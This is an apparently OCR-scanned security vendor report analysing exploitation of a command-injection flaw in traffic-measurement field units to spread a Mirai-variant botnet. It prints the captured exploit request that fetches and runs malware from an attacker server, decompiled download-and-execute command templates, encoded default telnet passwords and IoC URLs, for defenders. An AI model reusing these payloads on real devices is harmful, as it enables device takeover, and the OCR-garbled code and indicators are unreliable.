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Executive Summary

On Feb. 20, 2021, Unit 42 researchers observed attempts to exploit CVE-2020-9020, which is a Remote Command Execution
(RCE) vulnerability in Iteris’ Vantage Velocity field unit version 2.3.1, 2.4.2 and 3.0. As a travel data measurement system,
Vantage Velocity captures travel data with a large number of vehicles. If a device is compromised, it will be under control of
attackers, who can then leak sensitive data or conduct further attacks, such as Distributed Denial-of-Service (DDoS) attacks.
The vulnerability has a critical rating (i.e., CVSS 3.1 score of 9.8) due to its low attack complexity, but critical security impact.
The exploit captured by Unit 42 researchers utilized the vulnerability to spread Satori, a Mirai botnet variant.

Palo Alto Networks Next-Generation Firewall customers with security subscriptions such as Threat Prevention, WildFire, URL
Filtering and loT Security are able to detect and prevent the exploit traffic and the malware.

Vulnerability Analysis

The vulnerable devices lack a check on the htmINtpServer parameter of /cgi-bin/timeconfig.py, allowing attackers to inject
commands via crafted HTTP requests and have them executed on victim’s devices. This vulnerability was disclosed in early
2020, but the National Vulnerability Database (NVD) published it recently, not long before the exploit attempts.

Exploit in the Wild

On Feb. 20, 2021, Palo Alto Networks Next-Generation Firewall caught the first exploit attempt. As shown in Figure 1, the
exploit attempted to download the file arm7 from the server 198[.]23[.]238[.]203 with the system command wget and then
change the access permissions of the downloaded file to ensure it can be executed with the current user privileges.
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POST /fcgi-bin/timeconfig.py?currentTime=Sat+Feb+20+2021+87:17:11&htmlSelectTimezone=America/ChicagoshtmiNtpServer=pool.ntp.org;+cd+/tmp;
+wget+http://198.23,238.203/arm? ; +chmod+777+armi ; +. /arm7+velocity HTTP/1.1

Host: Il = ™= ==

Content-Length: @

User-Agent: python-reguests/2.6.@ CPython/2.7.5 Linux/3.10.8-1168.15.2.e17.x86_64

Connection: keep-alive

Accept: x/x

Accept-Encoding: gzip, deflate

Figure 1. Exploit request in the wild.

The server 198[.]23[.]238[.]203 was first noticed (serving a malicious shell script) by the security community on Feb. 17, 2021,
according to VirusTotal. At the time of this writing, the server is still accessible. It provides an HTTP service on port 80, based
on Apache2 HTTP server, that provides a malware downloading service. It also has port 5684 opened, which is believed to
serve as the command and control (C2).

According to our investigation, nine samples with similar functions but different platform compatibility were found on the server.
They are able to run and compromise devices across multiple mainstream architectures. Thus, these malware can be easily
utilized again when the attacker changes the exploit against other target systems.

The information for all nine samples are listed in the Indicators of Compromise (IoCs) section.

Mirai Botnet Variant (Satori)

Based on our in-depth investigation into the behaviors and patterns, we believe that the malware samples hosted on the server
198[.]23[.]238[.]203 are highly likely to be a variant of the Mirai botnet, Satori.

When executed, it prints the message “hello friend :)” to the console. Then, four child processes are spawned and detached
from the main process.

The malware was observed to scan port 23 of random hosts (as shown in Figure 2) and tries to login with its embedded
password dictionary when port 23 is open.

Figure 2. Satori port scanning.
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1
2 |void FUN_@@487718(void)
3
a4

{

5| FUN_8@4@75b8(10,&0AT 00412877, "Fcini®);

& FUN_@04075b8(10,&DAT_ 00412877, " thkhlb~");

7|  FUN_04075b0 (10, &DAT 080412877, "dhkhulb~");

E FUN_@04075b0(10,&DAT_00412877,8DAT_00412442) ;

9| FUN_004075b8(10,&DAT AB412877,&0AT 0841244d);
10 FUN_@04075b@(18,&DAT_00412877," " furfunh");
11 FUN_@04075b@(9," fcini”, " "furfunh™);
12 FUN_0804075b@ (9,&DAT_00412877,&DAT_00412464) ;
13 FUN_@04075b@(9,&0AT 0041287 T777951");
14 | FUN_@04075b8(0,&DAT 08412877," fobs}nw?");

15 FUN_@04075b@ (9,&DAT_00412877,&DAT_0041215c) ;
16 FUN_@04@75b08(9,&0AT_00412877,8DAT_00412863);
17 | FUN_P@4@75b@(8,&DAT 00412877, "dofi bjb");

18 f# 3 “"fcjni" XOR 8x@7 = "admin"

19 ; "dofi’bjb" XOR @x@7 = "changeme" *x/

20 | FUN_B@4a@75b@(8," feini®, "dofi bjb'D;

21| FUN_0@4075b@(8,&0AT B0412877,"fistku");

22 | FUN_8@4875b@(8,&DAT_BB412877,&DAT_B041248d) ;
23 FUN_004875b0(8,8DAT _00412877," flkwnib"™);

24 | FUN_8@4875b@(8,&DAT BB412877,"6776doni");
25| FUN_B@4875b8(8," fcini", "tfjtri ");

26 | FUN_@@4@75b@(7,&DAT 08412877 ,EDAT 084124ae);
27 | FUN_B@4@75b8 (7,&DAT 88412877 ,&DAT_004124b2) ;
28 FUN_004875b0 (7 ,&0AT 00412877 ,8DAT_0084127ad);
29 |  FUN_8@4875b@(7,&DAT_BB412877,"ancbk654" ) ;
30 | FUN_e@4e75b@(7,"cbafrks",&DAT_0041215¢);

31| FUN_@4075b@(7,"chafrks","cbafrks");

32| FUN_B@4@75b8 (7,&DAT 88412877, tpte}l i");

33 FUN_@04@75b0 (7 ,&0DAT 0041287
34 | FUN_B8@4875b@ (7,&DAT_004128
35 FUN_@04075b0 (7 ,&0AT_0041287
36 | FUN_8@4@75b@(7,&DAT 00412877, otkpnandfi");
37 | FUN_B@4@75b0 (7,&DAT_B88412877,"}lthasd"};

38 FUN_804875b0 (7 ,8DAT_ 00412877 ,8DAT_00412505) ;
39 | FUN_B04875b@(7,&DAT_00412877,"6543vpbu") ;
48 FUN_@04075b0 (7 ,&0AT_00412877,8DAT_00412877);

Figure 3. Passwords encrypted with XOR algorithm and key 0x07.
The passwords are encrypted using the XOR algorithm with a single byte key of 0x07, as shown in Figure 3.

The encrypted C2 traffic over SSL was also observed between the victim and 198[.]23[.]238[.]203:5684, as shown in Figure 4.

No. Time Source Destination Pratocol

Info

~ 209 12,042058 172.16.192,175 198,23.238.203 TCP
|— 703 12.104215 198.23.238.203 172.16.192.175 TCP

74 46120 - 5684 [SYN] Seq=@ Win=64248 Len=8 MSS=146@ SACK_PERM=1 TSval=2355791852 °
58 5684 ~ 46120 [SYN, ACK] Seq=2 Ack=1 Win=6424@ Len=@ MSS=1460

784 12.104343 172.16.192.175 198.23.238.203 TCP
788 12.202096 198,23.238.203 172.16.192.175

Figure 4. Traffic to C2 server.

The malware also contains multiple predefined operating system (OS) commands, as shown in Figure 5. Those commands are

60 46120 - 5684 [ACK] Seq=1 Ack=l Win=04248 Len=9

54 S6B4 - 46128 [ACK] Seq=1 Ack=79 Win=64248 Len=@

used to download and execute malicious payload from remote C2 servers to deploy bots on new victim devices.
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#(UNGETLNEOS *) (K LONGI&USTACKSZE + LVarsd) = uxaupely;
emd_execution{func_ret,
"/bin/busybox wget http://%d.%d.%d.%d:%d/%s -0 —> %5; /bin/busybox chmed 777
%5; . %5 telnet.%s.wget; =%s\r\n"
,Bxch,8x17,0xee,Bxch) ;
goto LAB_@@4@bdbs;
case 10:
puVarld = remote_cmd->field_Oxc;
*(undefined8 *){(long)&uStack528 + War2) = @x40b398;
cvard = FUN_B8848c5f@(puvarls, &DAT_BB412915);
if (cvard = "\@'} {
#(undefineds +) ({leng)&uStacks28 + War2) = @x4ebfcl;
FUN_8@4831a@(ex1f);
=(undefinedd *)({long)&uStack528 + War2) = @xddbfca;
uVarli = FUN_BBa@32ae(0x1f);
e(undefineds #)({longl&uStack528 + War2) = @x4dbfd7;
uvarls = FUN_B@4832a@(0x1f);
#(undefinedB #*)({long)&uStack528 + War2) = Bxddbfed;
uVarld = FUN_BB4832ad(0x1f);
s(undefinedd *)({long)&usStack528 + War2) = @xddbffl;
uvarlg = FUN_B@4032a8(0x1f);
puVarls = remote_cmd-=field_Oxc;
}
else {
#(undefinedd *)({long)&usStack528 + War2) = @xddb3aa;
FUN_@@4831a@(0x1f);
#(undefined8 *) ({long)&uStack528 + WWar2) = @x40b3b4;
uVarl3 = FUN_BB4932a0(0x1f);
=(undefinedd *) ({long)&uStack528 + War2) = @xddbicl;
uvarls = FUN_004832a0(0x1f);
=(undefined8 ) ({long)&uStacks28 + War2) = @x4@b3ce;
uVarld = FUN_BR4032a8(0x1f);
#(undefined8 #)({long)&uStack528 + War2) = @x4@b3db;
uVarld = FUN_BB4d32ad(0x1f);
func_ret = remote_cmd=>vall;

#(undefineds *)((leng)&uStacks28 + War2 + @x30) = uvarl3;
#(undefinedB +) ({long)&uStackS28 + War2 + @x20) = uVarls;
*{undefined #){{long)&uStack528 + War2 + @x28) = PTR_DAT_805170898;
=(undefineds *)({long)&ustacksze + War? + @x18) = wvarls;
w(undefinedd *) ({longl&usStack528 + War2 + @x18) = @xcb;
*(undefinedd *) ({long)&uStacks28 + War2 + 8) = @xee;

#(undefinedB #*)({long)&uStack528 + War2) = @x40b427;

cmd_execution{func_ret;
"foinfbusybox tftp =r %s =1 %5 =g %d.%d.%d.%d; /bin/busybox chmod 777 %s;
. /%5 telnet.%s.tftp; >%s\rin"
,PTR_DAT_@@51709@,uVarle, @xce,@x17);
#(undefinedB #)({long)&uStack528 + War2) = @x40b431;
FUN_B@483220(8x1f);
x(undefined8 *) ({long)&uStack528 + War2) = Bx4dba3b;
FUN_0@4031a8 (@x17) ;
#(undefinedB *)({long)&uStack528 + War2) = @x40b445;
uVarld = FUN_P@4832ad(0x1f);
=(undefinedd *) ({long)&uStack528 + War2) = Bxddbd52;
uvarls = FUN_@84832a0(exlif);
=(undefined8 *)({long)&uStacks28 + War2) = @x4@b4sf;
uVarld = FUN_BR4032a8(0x1f);
#(undefined8 #)({long)&uStack528 + War2) = Bx4@bdbc;
uVarld = FUN_BB4d32ad(0x1f);
puVarlf = PTR_DAT_@@517098;
¥

func_ret = remote_cmd-»vall;

#(undefinedB #){(long}&uSthcks28 + War2 + 8x30) = uVarl3;
*«(undefined o) ({long)&uStackS28 + WarZ + 8x28) = puVarls;
w(undefined8 ) {{long)&usStack528 + WWar2 + Bx20) = uVarls;
*(undefinedt #*)({long)&ustack528 + Lvar2 + @x18) = uVarld;
#(undefined4 #*)((long)&ustack528 + War2 + 8x1@) = @xcb;
*(undefinedd #)((long)&uStack528 + War2 + B) = Oxee;
*(undefineds *){{long)&ustack528 + Var2} = @xd@babs;

cmd_execution(func_ret,
“fbinfbusybox tftp -r %s -1 %s -g %d.%d.%d.%d; /bin/busybox chmod 777 %s;
s telnet.%s.tftp; =%s\rin"
ypuVarld,uVarld,dxch,Bx17) ;

Figure 5. Predefined OS commands.

Conclusion

CVE-2020-9020 is easy to exploit and can lead to RCE. After gaining control, attackers can take advantage and include the
compromised devices in their botnet. Therefore, we strongly advise to apply patches and upgrade when possible.

Palo Alto Networks customers are protected from the vulnerability by the following products and services:

« Next-Generation Firewalls with a Threat Prevention security subscription can block the attacks with Best Practices via

Threat Prevention signature 90769.

« WildFire can stop the malware with static signature detections.
¢ URL Filtering can block malicious malware domains.
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https://threatvault.paloaltonetworks.com/?query=90769

e |oT Security can provide coverage on legacy loT sensors.

Indicators of Compromise (loCs)

51[.]81[.]24[.]157
198[.]23[.]238[.]203

Filename URL SHA256

arm http://198[.]23[.]238[.]203/arm 0d74227dbc3bdd74a3854d81e47cf6048da2d95¢3010b953de407e5989beb066
arm7 http://198[.]23[.]238[.]203/arm7 fe8e5e7041dfda470f9e2ad9abe9e0dal3e43ddb5b24209e42cele3ebeel1a7bfe
mips http://198[.]23[.]238[.]203/mips 320d7067d60f9ed7e7f3e9408a5d3b0abfdccddde494c0a2adf4e77aech80814
mips http:/198[.]23[.]238[.]203/mipsel ~ fbe314dc3b284ce2db1f37478338fdba8130bf44e484f5028ca92eb9326417e4

powerpc  http://198[.]23[.]1238[.]203/powerpc  3c62d16451db32f72464a854d6aceb7c7ba2f07c38850f6a247a5243c0f473cb

sh4 http://198[.]23[.]238[.]203/sh4 13ce782d393f2b4ce797747d12f377afad9d6e56¢10f52948034a234654a9d30

sparc http://198[.]23[.]238[.]203/sparc 985127ed1610cfca49f6dba273bb0783f20adf763e1d553c38e5a0f9f89328¢3

m68k http://198[.]23[.]238[.]203/m68k e458dca7ddceae3412e815e5¢70e365f6¢c918be2d512e69b5746ed885e80268

x86_64 http://198[.]23[.]238[.]203/x86_64  989e49f9aaff3645c40a2c40b8959e28e4f0a645e169bb81907055a34f84dfb

x86_32 http://198[.]23[.]238[.]203/x86_32  22818ae75823ee5807d5d220500eb9d5829927d57e10ce87312d1c22843fb407
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